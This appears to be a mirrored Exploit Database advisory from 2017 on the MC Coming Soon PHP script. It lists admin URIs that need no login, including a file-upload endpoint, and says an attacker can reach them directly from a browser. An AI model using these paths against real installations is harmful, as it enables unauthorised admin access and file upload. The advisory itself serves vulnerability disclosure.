MC Coming Soon Script – Arbitrary File Upload / Improper Access Restrictions

• Exploit Database
• 137 阅读

• 作者： Ihsan Sencan
  日期： 2017-01-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/41070/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # # # # # # Vulnerability: Improper Access Restrictions # Date: 15.01.2017 # Vendor Homepage: http://microcode.ws/ # Script Name: MC Coming Soon Script # Script Buy Now: http://microcode.ws/product/mc-coming-soon-php-script/3880 # Author: İhsan Şencan # Author Web: http://ihsan.net # Mail : ihsan[beygir]ihsan[nokta]net # # # # # # Direct entrance.. # An attacker can exploit this issue via a browser. # The following example URIs are available: # # http://localhost/[PATH]/admin/slider.php # file.php upload # http://localhost/[PATH]/admin/imageslider/file.php # # http://localhost/[PATH]/admin/launch_time.php # http://localhost/[PATH]/admin/launch_message.php # http://localhost/[PATH]/admin/send_message.php # http://localhost/[PATH]/admin/subscribers.php # http://localhost/[PATH]/admin/settings.php # http://localhost/[PATH]/admin/users.php # Vs....... # # # # #